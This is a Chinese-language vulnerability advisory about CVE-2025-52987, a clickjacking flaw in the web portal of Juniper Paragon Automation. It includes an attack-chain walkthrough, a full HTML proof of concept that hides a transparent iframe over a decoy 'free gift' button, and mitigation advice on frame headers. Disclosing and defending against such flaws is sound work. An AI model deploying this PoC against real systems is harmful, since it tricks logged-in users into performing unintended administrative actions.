IPBUF安全漏洞报告
English
CVE-2025-52987 CVSS 6.1 中危

CVE-2025-52987 Juniper Paragon Automation点击劫持漏洞

披露日期: 2026-01-15

漏洞信息

漏洞编号
CVE-2025-52987
漏洞类型
点击劫持
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Juniper Networks Paragon Automation (Pathfinder, Planner, Insights)

相关标签

点击劫持CVE-2025-52987JuniperParagon AutomationX-Frame-OptionsWeb安全UI覆盖攻击PathfinderPlannerInsights

漏洞概述

CVE-2025-52987是Juniper Networks Paragon Automation产品线中存在的一个中等严重性点击劫持(Clickjacking)漏洞。该漏洞影响Paragon Automation的Web门户组件,包括Pathfinder、Planner和Insights三个子产品。由于应用程序未能正确设置X-Frame-Options和X-Content-Type-Options HTTP安全响应头,导致该Web应用页面可以被嵌入到恶意网站的iframe中。攻击者可以利用此漏洞构建钓鱼页面,诱导用户在不知情的情况下与真实的Paragon Automation Web界面进行交互,从而执行未授权的操作。攻击者通常会创建一个精心设计的网页,通过CSS样式将目标页面透明覆盖在恶意按钮或链接之上,当用户点击看似无害的页面元素时,实际上是在与目标Web应用进行交互。这种攻击方式对用户具有很高的欺骗性,因为用户看到的是他们信任的合法Web界面,而不知道其交互已被劫持。该漏洞无需认证即可被利用,但需要用户交互才能完成攻击。

技术细节

点击劫持是一种UI覆盖攻击,攻击者通过将目标网站嵌入到恶意网站的iframe中,并使用CSS技术(如opacity、z-index、position等)精确对齐页面元素,诱导用户在不知不觉中对目标网站执行操作。Juniper Paragon Automation的Web门户存在此漏洞的根本原因在于:1)服务器未设置X-Frame-Options响应头,该头可以设置为DENY(禁止任何嵌入)、SAMEORIGIN(仅允许同源嵌入)或ALLOW-FROM uri(指定允许的来源);2)缺少X-Content-Type-Options: nosniff头,可能导致浏览器 MIME类型嗅探行为被利用。攻击者可以构造包含透明iframe的HTML页面,将Paragon Automation的认证或管理界面覆盖在看似正常的按钮上,当用户点击按钮时,实际触发的是目标应用中的敏感操作,如配置更改、用户权限修改等。该漏洞的攻击复杂度较低(AC:L),攻击者无需特殊权限(PR:N),但需要诱导用户访问恶意页面并执行点击操作(UI:R)。

攻击链分析

STEP 1
步骤1
攻击者创建恶意网页,包含一个可见的诱饵按钮(如"点击领取奖品")和一个透明的iframe
STEP 2
步骤2
攻击者使用CSS样式精确对齐iframe中的Paragon Automation目标元素(如删除按钮、配置保存按钮)与诱饵按钮
STEP 3
步骤3
攻击者通过钓鱼邮件、社交工程或其他方式诱导已登录Paragon Automation的用户访问恶意网页
STEP 4
步骤4
用户看到诱饵按钮并点击,实际上触发的是嵌入的Paragon Automation界面中的敏感操作
STEP 5
步骤5
由于用户已在Paragon Automation中认证,操作会在用户不知情的情况下以用户身份执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-52987 PoC - Clickjacking Attack --> <!DOCTYPE html> <html> <head> <title>Clickjacking PoC - CVE-2025-52987</title> <style> body { margin: 0; padding: 0; background: #f0f0f0; font-family: Arial, sans-serif; } .decoy-button { position: absolute; top: 200px; left: 100px; width: 200px; height: 50px; background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); color: white; border: none; border-radius: 25px; font-size: 18px; cursor: pointer; z-index: 1; } .iframe-container { position: absolute; top: 190px; left: 90px; width: 220px; height: 70px; opacity: 0; z-index: 2; } iframe { width: 100%; height: 100%; border: none; } .description { position: absolute; top: 50px; left: 50px; max-width: 600px; padding: 20px; background: white; border-radius: 10px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); } </style> </head> <body> <div class="description"> <h2>CVE-2025-52987 PoC</h2> <p><strong>Target:</strong> Juniper Paragon Automation Web Portal</p> <p><strong>Vulnerability:</strong> Missing X-Frame-Options header</p> <p><strong>Attack:</strong> Click the button below - it will hijack your click to the target application</p> </div> <button class="decoy-button">Click for Free Gift!</button> <div class="iframe-container"> <!-- Replace TARGET_URL with actual Paragon Automation endpoint --> <iframe src="TARGET_URL" sandbox="allow-same-origin allow-scripts allow-forms"></iframe> </div> <script> console.log('PoC for CVE-2025-52987: Clickjacking in Juniper Paragon Automation'); console.log('This demonstrates how an attacker can trick users into clicking hidden elements.'); </script> </body> </html>

影响范围

Juniper Paragon Automation Pathfinder < 24.1.1
Juniper Paragon Automation Planner < 24.1.1
Juniper Paragon Automation Insights < 24.1.1
所有版本的Paragon Automation (Pathfinder, Planner, Insights) 在24.1.1之前

防御指南

临时缓解措施
在Web服务器或负载均衡器层面添加X-Frame-Options响应头,设置为DENY以完全禁止页面被嵌入,或设置为SAMEORIGIN仅允许同源嵌入。同时启用Content-Security-Policy的frame-ancestors指令作为额外的防护层。对于无法立即升级的情况,可以通过配置HTTP响应头来缓解漏洞,但建议尽快升级到供应商发布的安全版本24.1.1。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表